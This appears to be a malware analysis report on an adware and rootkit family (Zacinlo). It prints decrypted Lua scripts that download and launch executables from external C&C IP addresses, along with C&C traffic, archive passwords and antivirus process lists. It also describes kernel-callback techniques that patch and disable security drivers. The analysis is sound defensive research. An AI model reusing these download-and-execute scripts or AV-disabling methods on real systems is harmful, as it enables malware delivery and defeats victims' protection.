| Exported Lua Functions / Variables | Parameters | Returns | Description |
|------------------------------------|---|--|---|
| EncodeDecString | String | Encrypted string | Encrypts string |
| DecodeDecString | Encrypted string | Decrypted string | Decrypts string |
| DeleteFile | File path | True in case of success, false otherwise | Deletes the file |
| GetInstallDir | - | Install directory path | Returns the install directory |
| GetTempDir | - | Install directory path | Returns the install directory |
| GetFileBase64 | File path | Base64 string | Encode file data in Base64 encoding |
| GetFileMD5 | File path | MD5 string | Calculate MD5 hash of the file |
| GetFileVersion | File path | File version | Return file version |
| GetMiscInfo | - | Return a string which contains information about the system and the malware GUID and version | Takes multiple information (e.g.: guid, time, utc, mac, os, cpu, memory, language, country, screen, bit, version) and builds it into a string |
| IsFileExist | File path | True if file exists, false otherwise | Check if file exists |
| IsProcessorExist | Process name | True if process is running, false otherwise | Check if the process name is running |
| IsServiceRunning | Service name | True if service is running, false otherwise | Check if the service name is running |
| IsServiceInstall | Service name | True if service exists, false otherwise | Check if service name exists |
| IsMutexExist | Mutex name | True if mutex exists, false otherwise | Check if mutex exists |
| LaunchApp | File path, parameters | True in case of success, false otherwise | Starts a program with the provided parameters |
| RequestUrl | Url | Received data | Download data from the specified url |
| RequestFile | Url, file path | True in case of success, false otherwise | Download the file from the specified url |
| Sleep | Milliseconds | - | Sleeps for specified milliseconds |
| TerminateProcess | Process name | True in case of success, false otherwise | Terminates a process |
| UninstallService | Service name | - | Uninstall the service |
| Unzip | Archive, output file path, archive password | True in case of success, false otherwise | Unzip the specified archive |
| WriteFile | File path, data | - | Writes data to file |
| WriteLog | File path, data | - | Writes data to log file |
| AppVersion | - | - | Application version |
| AppPath | - | - | Application path |

A query string is created based on information about the system and malware version (e.g.: GUID, MAC, OS, ...) that will be encrypted with DES. The encrypted string will be used to download a script from the C&C and, depending on the component's version, it will download a different Lua script that will be decrypted and interpreted.



- 1) For version **2.0.18.1** the file is downloaded from C&C **"173.192.28.166"**:

```
GET /interface/getFile?A9D1A5253F0922447F317AF2A66033D60957AB37EC105853F521BDD86FAD3924506BBE333CFEC4DF HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: 173.192.28.166

HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Tue, 13 Mar 2018 14:20:57 GMT
Content-Type: text/plain;
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
Content-Length: 11328

877fa3905d2c0337082184a148b3895236a31db797dfcec589573af36ab5988ce8875b9ea3bbecbb9e2552ead75038b51f0650242c9bccbf60ffeed28989fb2eb59dc46483cf06ed
ef71f178c9c2ff64d04430596df35638b8cb7c847ba66d40655a6c7ad359bcecf96a658e607c75535309d8630daf93a37cfd7550e9a2faf0941b7f00a57612bb88fc2c2b645727f
6ed9025e24b6ebf302f5eb97c1cf5add4a80eba34c77992352f6824c230ab3a4944022204b0701ce165d67fb3086cb8f96a658e607c75535309d8630daf93a3b1bea55032b28d79
1e22b263ca7250cda100e8c4f5ffbedd4188bd28f60cddf37dcf196be0adab71789a137dfd22da213986c1897eadd22cd47a6035fef3b6cfe9f7abaf0db284946333718c8e2961d
d8013bf1b8ea47c13986c1897eadd22c79f168e407873b56d3b59a0350375fe4fca51877ffca92aef74cd5c2515b288f9d7f5d75ac13bcc477f4d6e12e4208b1182e83bb9210b21
aa6e346194a42e921862c14e2c170f74c24cb6998a2773bfa100e8c4f5ffbedd8aba200f34bd0154ccc0f639bc58d227658bdf8a8042fb3431b95dc72dcf94731b2b1d6ea4f954e9
dee7d012b8b6a0a7146a34acd209a6c7698f8fe95e9cc179fe3ff34cb5f2474b62b14d295778dc1c05f5b24fa73e782ca37e131e071d0f4016521824f3800aa5f3b1af0f91c9ef
28bc52696c1d71f60ffeed28989fb2ea169a2919a658a5e3750377e4387eb5080c7c75e691b7565c25432eb08dda266acebaa37975df0f979fe3ff34cb5f2472bde7355fa3da1dc
586929b8021016f1b3d5bec89d77c13d0f36a22c5ae0fda9202075782c67caca0c6a939d8f07e7d1c98f3a5c932fef67e92a1e87d8509820536e6ef9d69fb77bd980f6ad1ab307
f399d9e2dd6a2a376c49b1e50d8fc31b488feee01f39f36f9ff0ba969ca416d202075782c67caca1f4feb744ad6b23d227a65a967a0578789966934364012c25b50393fd1b5574
ab20cb437719a22120f686d8c8482c6ea29c1f1eaa1994a0025399380b64dd255b9a2d8d988a2592b3ff443f2bb16bd39e7a8e149f5332af06220100f6b3114c839640c9fb9a78a9
cf0b9ba803d6f8b8dc002f3d6e84fc963bf4e015afe9261b9e0097dcf52ada61edc9dd5abefc886c679c3b8efac5fc25822d6ad9fb2d1b7faa4bc101adb68ed8a4809579bcff56
00c98ce9da3002c96ae67027362d92ce9e0097dcf52ada6182dc9457838c9d1c1f6d0ab661dab05e0dd405d40f58d68f3c4409926f5652b0789966934364012c632cd1b78c8f6c99
cc41c030212490efcd61b92ad2441918cdcb84435ceb2225f25b1e62d8f7ecf8afe40c4c0fccc6e133aa2ea98b1cbfc281e2b16aac7f7a56f64f7c04231493434399b18195dcee
b2971ae0d0f1ea3093d074a880272e74ae8a40f328bca96ca9989b352e965b4e8875b9ea3bbecbb13a68828c07a2a5d75f3cc90ef634c246c1433647b747491430416998d8545b
93e14668b904717865aeeb8b9e4614096ad3487ddb151cda32a83eb7f12514478d7816890aa7c634c5249ab4dc5812cf13cd16e214280f06e866dc0f8355dac1c0f7495d70bdf3d8
d716890aa7c634cb5bf62f909ceb94bfc91a585f2fb98bb59dc46483cf06ed1ad4480c18496b05ac7342c45cf31be6bf36569aba29c9effce02bab286cb43607eb757e7f9c274e
09b543afe3c60098af53905726da019a63c59bf4e400c6768cb27a0aef5321f13c4409926f5652b051482b0c0b942563a01052d144d315a167005e320cc79bfeac2feb68198d9668
8941cca22615995da8f55e8096e9ab6f1bfff199c74a3420c7619066919e32634d83ced82899492e535ad853909df634eb3ff443f2bb16bd3ba1ee2a79f850011c0d071a05cf096b
6ed9025e24b6ebf38f7f4840a8394bb1fff1799c74a3420c7619066919e32634d83ced82899492e535ad853909df634eb3ff443f2bb16bd3ba1ee2a79f850011c0d071a05cf096b
c10618472458d352b29c412121e5c949bdf50bc3be9474e03947881048d0c9a721f3a5e845c7a17723640f68549751b234947531626fa4af6a8983441a7b467704c0116f6c39
d70229abf17698e09fff92796dc738711c9d071a05cf096ba0fff3c04bb6e04d2f534f52b88b77159355e42a51d352448105783f3e6b097ab3ff443f2bb16bd3ba1ee2a79f850011c0d071a05cf096b
b0fa81fb17953646f47655b401a3e1ff0def8caf9611c2546f972425ae60947ab5bf62f909ceb0f4c65af9c9703ad41155da715c5e0fb23a92a2ad85b0f5d14389b380c6f2f0060
3986c1897eadd22c9139f9c880180ef1656c24d170624d8e819409cc43fa6f97d83e1aa7976b7453986c1897eadd22c8b704573a8be04c0edec9c2e0eb21a9f987d987d5b89bdd
cc6018ce8a27688f9e0097dcf52ada618342156c6b4765420946aa316bf6bc054c624ec85f26179b1cc64177421207b629c94507907ce3ff2b59dc46483cf06ed225a3e177e4f3a5c
f24411361383ca10afde0e1fae10b7acd4225353b9639381bf0b643a325c14dc002f3d6e84fc967204b098096772d877019436c3d3891aee90e344ef09d0b2e68189ac256b99d
cbf4153b0eeb737fa52e7f9d3a8bb734824a8d55fef0cae82af86043e80b202476ebc0d2e7aa7fb1f43f5e65025665721b6c879815ea3bc9e0e2e8bd055cdac63118ca30a62d3ea
```

```
Decrypted request:
name=script2.lua&type=text&time=22688171

Decrypted response:
local cJSON = luaopen_cjson()

function Splits(s, delim)
    local t = {}

    if type(delim) ~= "string" or string.len(delim) <= 0 then
        return t
    end

    if type(s) ~= "string" or string.len(s) <= 0 then
        return t
    end

    local start = 1
    while true do
        local pos = string.find(s, delim, start, true) -- plain find
        if not pos then
            break
        end

        table.insert(t, string.sub(s, start, pos - 1))
        start = pos + string.len(delim)
    end
    table.insert(t, string.sub(s, start))

    return t
end

function GetPath(uri)
    return string.match(uri, "(.*)/[^\%]*%.*$")
end

function GetFileName(uri)
    return string.match(uri, ".+/[^\%]*%.*$")
end

function RemoveExtension(file_name)
    local idx = file_name:match("(.)%.*$")
    if(idx) then
        return file_name:sub(1, idx-1)
    else
        return file_name
    end
end

function GetExtension(file_name)
    return file_name:match(".+%.(.*)$")
end
```



2) For version **2.0.7.1**, the file is downloaded from C&C "**hxxp://www.opttracker.com**":

```

GET /interface/getFile?A9D1A5253F0922446539D325B74A3C8853245BCC8EB6FBF835E95C7891548BC3D4543FD1FEC40DF1B HTTP/1.1
Connection: Keep-Alive
User-Agent: SmartService
Host: www.opttracker.com

HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Tue, 03 Feb 2018 15:46:19 GMT
Content-Type: text/plain;
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
Content-Length: 1168

0334c99dfa5ae89744520ac77bafb6e24b79d5fea58ecaffeea6d8e13e85558bd0b83c35f6c74988f048be205117527cdb71a9c6b976a7b694a6b7291472491c61fc31
9f5a6c95de09a51e9f2c1aa910e3038f55e07fb6a78f2a0b1ca18a90f15bc30313498ef290c92651317ee04f376286136d1a9a86fcea605f8e8eb0bb3ea2abfb27328
cf45eea6d8e13e85558b00f56a561137087b3cd16e214280f06e6d41e65dcf0bb3f02f9f86d1b038e9b9aac64f77cf22a174eea6d8e13e85558bd04430596df356385c
4d80f71865e254f2b5919940c3ba829852cfd1d5b91f2a7039feedbeaf825b911f5056cd334d5ab95fe53b533cf165474b9ac3beec5cd700b2dda0bba5ebf52fc88793
0551391ca100e8c4f5ffbedd6ff6ffbbcac92e188cfa8fe864033d858ab7a3d35d7689a39e3ea0d62dcee8f16ed9025e24b6ebf33f818704604f096f19134fcd375d0
bc53e8725040ad0f12a5aaa401648f171c5ed7abb07c5e4a02e3c4ff2c26b20287ddeb4d0c4ad31be86b7637ab595b60b5d5b3d9e0c781fd5a516a7878c3f43d50c78
3a76c6bf4657230e5ef0cce3b5537e429db0e68e852624f30f4701312661bb176591325e90540334c99dfa5ae8973deb85bbaa9f020578d46bfc2e739b37ba0c4efbfe
f20ae7af53905726da019a04e497e86ee13465560142415b03d58ebe1241bc97c153d1f0986ac6a4365d76adb85c21de94d9c3048e8df72a4760225ed7a27538891ea8
830df5e0b7b2e706da3bb0d47dca3dd8884b519d6b4e916c5fcbec90fed2747f8058872173c87ef75ed8afa425dc1e3c

Decrypted request:
name=script.lua&type=text&time=0

Decrypted response:
if not IsFileExist("splsrv.exe") then
    RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
else
    local md5 = GetFileMd5("splsrv.exe")
    if string.upper(md5) ~= string.upper("6ea6a754db7eccf215c70de239bb878b") then
        TerminateProcess("splsrv")
        RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
    end
end

if not IsProcessExist("splsrv") then
    LaunchApp("splsrv.exe", "-ip=\"173.192.16.184\" -interval=3600 -version=\"\"..AppVersion..\"")
end

```

LUA Script 1

```

if not IsFileExist("splsrv.exe") then
    RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
else
    local md5 = GetFileMd5("splsrv.exe")
    if string.upper(md5) ~= string.upper("6ea6a754db7eccf215c70de239bb878b") then
        TerminateProcess("splsrv")
        RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
    end
end

if not IsProcessExist("splsrv") then
    LaunchApp("splsrv.exe", "-ip=\"173.192.16.184\" -interval=3600 -version=\"\"..AppVersion..\"")
end


```

This version of Lua script checks if **splsrv.exe** file exists using the exported Lua functions of the LUA interpreter component and downloads it from :

"hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4" in case it doesn't exist. Decrypted string of **"2513e5cbeb3e665d01ffade16fb6f9b4"** is **"name=splsrv.exe"**. If the file exists, it checks the version by calculating a MD5 hash on the file and, if it differs from **6ea6a754db7eccf215c70de239bb878b**, it terminates the process and downloads the new version from **"hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4"**.

If the process **splsrv.exe** is not running, it will run the executable with the paramaters:

"-ip="173.192.16.184" -interval=3600 -version="AppVersion" where **AppVersion** is the ct2 component file version.



LUA Script 2

The purpose of this script is to download the updated versions of the component's files. Using **IsMutexExist** it checks for the existence of the **Global\SetupMutex_{ABE47B72-0C2F-421F-BFE5-D86F8ABD3570}** mutex and it waits until it exists. For a maximum of 24 hours, this mutex gets verified on the hour, and if exists, it builds a query string based on the client information and system information (e.g.: GUID, CPU, memory). The query string will be encrypted and sent as a request on the C&C "**hxxp://gpt9.com/api/cpx?q=**" using the built query string.

```

GET /api/cpx?
q=3206A4D1B4C8D2E45C6DB4C40B8C56948B86022D87AF6B1C723C93E4033AE968FA35C5678AE947F341A1DB964A723F57F68DF50D037965ABC82B2889200223E59C4C0
6E257B048AE7BFFCCA90DAE1B3C7266325E16144D0654C07A5323086A268C8B418A7041B414F81B76DD2F4FA45D8FDDEA778B7A798C83366C1AB323A3658490798D01A
9D8D49C3EC709DD422C633A0238D1DF2F147504EC5FE9A08B344CD4E1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCD39A60FA161199A8B1F32155C
1FBC584E1120440111F62C1AEA618248F9DF0337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED0D3912F42687210D802CCD73DBF43B7468268C07
BEAD789BE64531424F286ECC7A9C40089F291AD94D52F82BB3898F1C2F HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 14 Mar 2018 08:04:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190

ok
  
```

```

Decrypted request:
guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C&time=1521014881&utc=2&mac=080027756e6e&os=Microsoft Windows 7, 32bit&cpu=Inte
l(R) Core(TM) i7-4790 CPU @ 3.60GHz, 3591, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&count
ry=US&screen=1024*768&bit=32&version=2.0.18.1&type=2
  
```

Another request will be made to a different IP address based on the ct2 component file version. If the version number is **2.0.18.1**, **2.0.19.1**, **2.0.20.1**, **2.0.21.1** or **2.0.22.1**, it uses "**198.8.61.161**" IP address, otherwise it uses "**173.192.16.184**". The received data is a JSON containing information about other components.




```
[
  {
    "parameters": "/i",
    "always_run": true,
    "version": "1.2.0.2",
    "password": "a123456",
    "app": "app130",
    "service": "Dataup",
    "name": "dataup",
    "url": "http://174.37.56.249/p/dataup.zip"
  },
  {
    "parameters": "-starup",
    "always_run": true,
    "version": "1.0.1.8",
    "password": "a123456",
    "app": "app132",
    "service": "",
    "name": "svcmx",
    "url": "http://174.37.56.249/p/svcmx.zip"
  },
  {
    "parameters": "-key=\\svcmx\\ -arg=\\-starup\\ -key=\\cpx\\ -arg=\\-starup\\",
    "always_run": false,
    "version": "1.0.0.2",
    "password": "a123456",
    "app": "app133",
    "service": "",
    "name": "regtool",
    "url": "http://174.37.56.249/p/test/regtool.zip"
  },
  {
    "parameters": "-starup",
    "always_run": true,
    "version": "1.0.0.4",
    "password": "a123456",
    "app": "app137",
    "service": "",
    "name": "winscr",
    "url": "http://66.147.225.135/p/winscr.zip"
  }
]
```

Component's entry in JSON:

- **parameters** – the arguments that get passed to the executable when it starts
- **always_run** – specifies that the executable needs to run
- **version** – current file version of the component
- **password** – archive password
- **app** – tag name
- **service** – service name of the component
- **name** – name of the component
- **url** – url to an archive containing the updated component

For each entry in the JSON file of the components, it compares the versions, checks if the file exists and whether the process and service is running. If the file doesn't exist or the version doesn't match the JSON's entry, it downloads the file from the specified **url**. The downloaded file is a password-protected archive. The file contained in the archive will get extracted using the password from the **password** field entry of the component. After extraction the archive gets deleted and the executable is started with the provided **parameters** value as parameters.



Second Variant of LUA Script

The Service Component

The component corresponds to **ct.exe** file.

A simple component that seems to be in working progress. It has Libcurl library integrated but it is not used. This component can receive the following arguments:

install

Will install itself as a service with the name **Windows Management Services** (*windowsmanagementservice* key in Registry). The service will be started with **/svc** parameter.

svc

Service Control Manager will start the process with this parameter (will register service handlers).

launch and **params**

Used to start an executable with the **params** commandline parameters.



The Setup Downloader

This component integrates the source code of two open-source projects:

- Zlib
- Cryptopp

It is somewhat similar to the Setup Dropper component but, unlike Setup Dropper, it downloads the component straight from the C&C server. It starts by collecting client and system information (e.g.: client GUID, OS version and so on) including details about its running components (**splsvr**, **cpx**, **svcvmx**), its service (**windowsmanagementservice**) and running antimalware processes. This information will get passed as query string on the request that it will make to the command and control center located at **“hxxp://www.gpt9.com”**.

| Antimalware processes checked by this component | | | |
|---|------------------|-------------------|-------------------------|
| a2service | a2start | AdAwareDesktop | AdAwareService |
| AdAwareTray | avastsvc | Avgrsx | avgsvcx |
| avguard | avguix | Avp | bdagent |
| bullguard | cis | CisTray | dwarkdaemon |
| dwengine | egui | Ekrn | FortiClientVirusCleaner |
| FPAVServer | FprotTray | fsgk32 | gdscan |
| guardxkickoff | guardxservice | guardxservice_x64 | iptray |
| K7SysMon | K7TSecurity | K7TSMain | mcshield |
| msseces | nanoav | nanosvc | navapsvc |
| Norman_Malware_Cleaner | OPSSVC | pccntmon | PSUAMain |
| PSUAService | QUHLPSVC | SASCore | sbamtray |
| SDRService | sfc | SntpService | Sophos UI |
| spideragent | SUPERAntiSpyware | twister | twssrv |
| vba32ldr | | | |

```
Decrypted request:
guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C&os=Microsoft Windows 7 32bit&is_vm=1&ctservice=0&ctfile=0&ct=0&splsvr=0&
cpx=0&svcvmx=0&av=&version=2.0.7.1
GET /api/by?
q=3206a4d1b4cbd2e45c6db4c4dbbc5694bb6022d87af6b1c723c93e4033ae968fa35c5678ae947f3461fd63553d1dbc2e79693cbe329b336599e7281b3f342258af663f3068a41f8f
58ea1e039a4c568d312846240ec0b1cc244399a793bbaf8d24b246fdb540def4adbcc9b1d0efc8f4a48c320bf84219fdaf72e3fb190231b62789d309fdee274304de607d6d3cabd1f
723c1f8235eb16 HTTP/1.1
Connection: Keep-Alive
User-Agent: BypassUac
Host: www.gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 14 Mar 2018 11:22:14 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190

ok
```



After passing the information along to the C&C, it checks if the current user is administrator and builds the download url using its file version. It then starts downloading a password-protected archive from "174.37.56.248" which will be saved in a directory with a name generated , in the "YearMonthDay" format. This folder resides in the "%temp%" directory. The file(s) will be extracted in the same directory using the hard-coded archive password "!@#\$\$%^&*".

```
GET /ct/ct_2.0.7.1.zip HTTP/1.1
Connection: Keep-Alive
User-Agent: BypassUac
Host: 174.37.56.248

HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Wed, 14 Mar 2018 11:22:14 GMT
Content-Type: application/zip
Content-Length: 347994
Last-Modified: Thu, 09 Mar 2017 11:02:06 GMT
Connection: keep-alive
ETag: "58c1362e-54f5a"
Accept-Ranges: bytes


PK....    ...B.iJpz...N.....ct.exe...v3.
.D.,7e.8...K0...A...    .....CrU.K.\.5B.8E.P.e
[.....*.0c...
..p5m.d..44%>...b.*.....p~. |..... |.....St+w.d....'.Zp.q'...K...6.+htP1..=b.I9.qZ....x.BP.)...
4.Py..#./.....K.).....B.?.....T.]...(.[#.#w\..u,..17.Sf.2Zc...W.....!s.)5.5.&...RB.....g ...b5..Q...@
..w
..X.#... 9Io.`...!..=.....
..+r..Cb...s.#...M$.-qNp...Qz..x.Ziq.....;...3t.g....r.b'u...k...H.V...b=....._F.....g..Dy...
..j/.a.h.L...E...+...[...E.:~/..j...
d...bs..oc...A...B.mS...Q.{1.,020.VS^Z..RVW2z...7t.....~+.<M... '9d...&T...^..K...^3.(a.4w/$I.Y~)..1.P...T.P.zy...
+|...G...-A...B...L}<.....Tz. .5...j..&O;&
...v.....<.....q.R.CP.[.rM.^..4.6 m.....
..=.....o...$.M.d.'...Hg...v.49...+R.|L]dE.....}y.B^A.t.2 .....[
..1.....a..8...I...Tk...Qa.w.o.:...4.....y..b\~J7.pb.z.\6...E...W...'.Xf...#uJ#(6.'...&I.b.;...`H.\n`...?8rs..z{f..d...
5.6#...*.qJ...9.2...*.M.#. ....M.w#.2.U.j.....^PN .....%...o.0.....hR"...!....."....h>rX'....Uq1...n...6...X..BY..+U4.0
>...v...Z...i>..W...j.g...et.G...mj..`Y...Hj.z..8,...%9
6...p...e?>[mI... u...Z...:t..R.p/~F&...<..H.?AP0Zv...X R$;..m..`i.%..SS3..A..}.6f.&.....H.@.U....$.$.6VY@..... |D.H...EJ
*.KY...9.P..T...U..g.....7.7.7...o.&L'....
...{<.QfX...a .....N...cc...g.Ht.....k...]._9mT..N..1.....~y... |...6.k...K...#...cw...
1...w...z.c5.....).....1..v3.....~...a.F.4.a.y.y.p...A..e.>(.aCU(.L.{M=
:#>a...4R...#...n..I37e..A..p.1..F..h Z."6..P...6..(?..O.n.GF/6.....F&G.f...#I/2.....3(..[.q$.Q.....p...l.../...L.....G...
```

Depending on the file version of the executable, the archive may contain multiple files. For instance:

- Version **2.0.7.1** only contains **ct.exe** executable
- Version **2.0.2.1** contains, besides **ct.exe**, **qdcmsvc** executable and **radardt** rootkit component

The executable is started with **-install** parameter using **ShellExecuteA** API.

```
„cmd /c start „ „ct.exe” -install”
```





- **set_pt** is used for whitelisting its component paths and Registry paths
- **set_bl** is used to add more names to its blacklisted image names
- **atimode** specifies which blacklisted image name or blacklisted certificate subject name to be verified.

10) Different kernel callbacks are registered (**PsSetLoadImageNotifyRoutine**, **PsSetCreateProcessNotifyRoutine**, **PsSetCreateProcessNotifyRoutineEx**, **ObRegisterCallbacks**, **CmRegisterCallback**, **FltPreOperationCallback**).

a) **PsSetLoadImageNotifyRoutine** kernel callback is used to verify new images that have specific certificates used for digital signatures.

The subject name is extracted from the process file certificate and checked against two test sets, which include blacklisted certificate subject names.

The first one is based on the **atimode** registry data and, should a match occur, it finds image's entry point and patches it with "**33 C0 C3**" ("**xor eax, eax; ret**").

If subject name has been found blacklisted in the second test, additional tests are carried, which will result in a patched entry point with "**33 C0 C3**" ("**xor eax, eax; ret**") or a global blacklist variable to be set to "**1**" in case of a positive match

For an image to have entry point patched it needs to have one of the following statements true:

- **OriginalFileName** field from file version information of the image must contain "**MBAMSWISSARMY.SYS**", "**MBAMCHAMELEON.SYS**"
- image name must contain one of the following:

| | | |
|----------------------------------|---------------------------|---------------------|
| \DSARK64.SYS | \BAPIDRV64.SYS | \KNBDRV.SYS |
| \MWAC.SYS | \MBAMSWISSARMY.SYS | \SYMNETS.SYS |
| \PANDA_URL_FILTERINGD.SYS | \NNSPIHSW.SYS | \HITMANPRO |

If the image name contains one of the following:

| | | |
|---------------------------|-------------------------|-----------------------|
| \MBAM.SYS | \ASWSP.SYS | \AVGSP.SYS |
| \SYMEVENT64X86.SYS | \ASWMONFLT.SYS | \AVGMONFLT.SYS |
| \SRTSP64.SYS | \WDFILTER.SYS | \AVGNTFLT.SYS |
| \KLIF.SYS | \KLBACKUPFLT.SYS | \PSINFILE.SYS |
| \GZFLT.SYS | \TRUFOS.SYS | \ATC.SYS |
| \EPP64.SYS | \ZAM64.SYS | |

the global blacklist variable is set to "**1**".



- b) **PsSetCreateProcessNotifyRoutine** kernel callback is used to save information about the newly created process and its parent process in a structure. This will be used later in other kernel callbacks. In case the process exits, the saved information will be freed.
- c) **PsSetCreateProcessNotifyRoutineEx** kernel callback uses the information saved in **PsSetCreateProcessNotifyRoutine** kernel callback to identify the blacklisted processes and terminate them. If the process name is a blacklisted name or the process file certificate subject name is blacklisted or its original file name is blacklisted, the process is initially suspended and then terminated.
- d) **ObRegisterCallbacks** kernel callback is used to intercept process creation. If the parent of the newly created process is **TASKMGR.EXE** or an AV product and the newly created process is one of the adware components, the process is created with limited query information.

e) **CmRegisterCallback** kernel callback is used to block access to its whitelisted registry paths for blacklisted processes. The component checks for several actions:

- **RegNtEnumerateKey** (key enumeration) is blocked for those processes that don't contain **LegalCopyright SMARTSOFT** (**LegalCopyright** for its components) and the registry path is a whitelisted one.
- **RegNtPreDeleteValueKey** (value key deletion) is allowed for **DependOnGroup** value key and for those processes that have **LegalCopyright** set to **SMARTSOFT.SERVICES.EXE** is also an allowed process. Access is blocked for all the rest if the registry path is a whitelisted one (**!DATAUP**) or included in **set_pt** registry data value.
- **RegNtPreSetValueKey** (set value data) is blocked for those processes that don't have **LegalCopyright** set to **SMARTSOFT** and one of the following statements its true:

- If the registry path is whitelisted and if the process is **SERVICES.EXE** for value name **DeleteFlag** and **Start** or if the process is not **SERVICES.EXE**
- If the process is not in the whitelist given by the **set_pt** registry value

- **RegNtDeleteKey** (key deletion) is blocked for those processes who don't contains **LegalCopyright SMARTSOFT** if registry path is a whitelisted one (**!DATAUP**).

f) **FltPreOperationCallback** kernel callback is used to "redirect" access from its backup folder files to a legitimate one or to block access to its components.

If the filename doesn't contain "**!DEVICE!HARDDISKVOLUME**", **MajorFunction** is **IRP_MJ_DEVICE_CONTROL** and the **IOCTL** is equal with **0x4D014 (IOCTL_SCSI_PASS_THROUGH_DIRECT)** or **0x4D030 (IOCTL_ATA_PASS_THROUGH_DIRECT)** then access is denied.

If the path is whitelisted and the process does not have the **LegalCopyright** blacklisted and it is not "SERVICES.EXE" then:

- if **MajorFunction** is **IRP_MJ_SET_INFORMATION**, access will be denied
- if **CreateFile** with **CreateDisposition FILE_DELETE_ON_CLOSE**, it will be blocked
- if the process name is "EXPLORER.EXE" or process name is a blacklisted name, the access will be denied

If a process attempts to access the driver from its backup folder (in our case "**!SYSTEM32!SVNROTE!ZACINLO.SYS**"), "**TargetFileObject**" will be modified with "**!??!C:!Windows!System32!drivers!mspclock.sys**", a legitimate Microsoft file, and the callback will be marked as dirty and **STATUS_REPARSE** is returned.

If a process tries to access the executable from its backup folder (in our case "**!SYSTEM32!SVNROTE!ZACINLO.EXE**"), "**TargetFileObject**" will be modified with "**!??!C:!Windows!System32!calc.exe**", a legitimate Microsoft file and the callback will be marked as dirty and **STATUS_REPARSE** is returned.

STATUS_REPARSE return is usually used for redirections to other files in a minifilter.



11) Registered minifilters will be verified and those drivers which contain in the name "**\DRIVERS\WDFILTER.SYS**" or have a blacklisted certificate, depending on the major function, will be verified against a set of blacklisted names and the routines **PreOperation** and **PostOperation** for those drivers which have the name blacklisted will be patched with "**B8 01 00 00 00 C3**" ("**mov eax, 1; ret**")

a. if the major function is **0 (IRP_MJ_CREATE)** then the driver name is checked against

| | | | | |
|----------------------|-----------------------|-------------------------|----------------------|----------------------|
| \MBAM.SYS | \ASWMONFLT.SYS | \AVGMONFLT.SYS | \SRTSP64.SYS | \WDFILTER.SYS |
| \AVGNTFLT.SYS | \KLIF.SYS | \KLBACKUPFLT.SYS | \PSINFILE.SYS | \GZFLT.SYS |
| \TRUFOS.SYS | \EPP64.SYS | \ZAM64.SYS | | |

b. if the major function is **6 (IRP_MJ_SET_INFORMATION)**, the driver name is checked against "**\AVGNTFLT.SYS**"

c. if the major function is different than **0** or **6**, the driver name is checked against

| | | |
|----------------------|------------------------|----------------------|
| \SRTSP64.SYS | \SYMEFASI64.SYS | \WDFILTER.SYS |
| \AVGNTFLT.SYS | \AVGNTFLT.SYS | |

12) Verifies the drivers registered in **PspCreateProcessNotifyRoutine** by searching **PspCreateProcessNotifyRoutine** table entries

a. if the driver name contains "**\DRIVERS\WDFILTER.SYS**" or has a blacklisted certificate additional checks are made based on the driver name:

b. if the driver name contains one of the following:

| | | |
|-------------------|-------------------|---------------------------|
| \ASWSP.SYS | \AVGSP.SYS | \SYMEVENT64X86.SYS |
| \GZFLT.SYS | \ATC.SYS | |

then the registered routine will be patched with "**C3**" ("**ret**")

c. if the driver name contains "**\EPP64.SYS**" or "**\MFEHIDK.SYS**" then the registered routine will be patched with "**B8 01 00 00 00 C3**" ("**mov eax, 1; ret**")

13) Creates a thread which will check if a debugger is active. If the debugger is enabled a BSOD will happen.

14) Register its minifilter.

15) Register and loads **NetFilter** driver component.

16) Searches for routine addresses of **NtCreateUserProcess** and **ZwResumeThread** in **ntdll.dll** exports.

17) A new thread is created which iterates continuously:

a. checks for **set_st, set_pt, atimode**, if the values doesn't exists in registry, they will be created using the hard-coded data, then if the system is not in a shutdown progress it searches for **winlogon.exe** and if it finds **KeBugCheck** will be called.

b. only for the first loop it will search after **explorer.exe** process and if exists it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines

c. if the global blacklisted image is set to "**1**" then check for the existence of **explorer.exe** process and if it has been found, this thread will be put to sleep for 20 seconds, then it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines and the global blacklisted variable will be cleared

d. only for the first loop it will search after **services.exe** and if it has been found then using the searched function **NtCreateUserProcess** it will create a usermode process for the executable given by **St** registry value data. The same mechanism is applied on a list of hardcoded files (in our case it doesn't exists).



Zacinlo

The component corresponds to **zacinlosvc.exe** or **msidntld.exe** file.

It is started by the radardt rootkit component with **-starup** as the first parameter. It will try to make a setting so that processes with different Integrity Levels (IL) can communicate (**UIPI** value from **HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System** will be set to "1").

Several threads with specific functionality will be created, as described below.

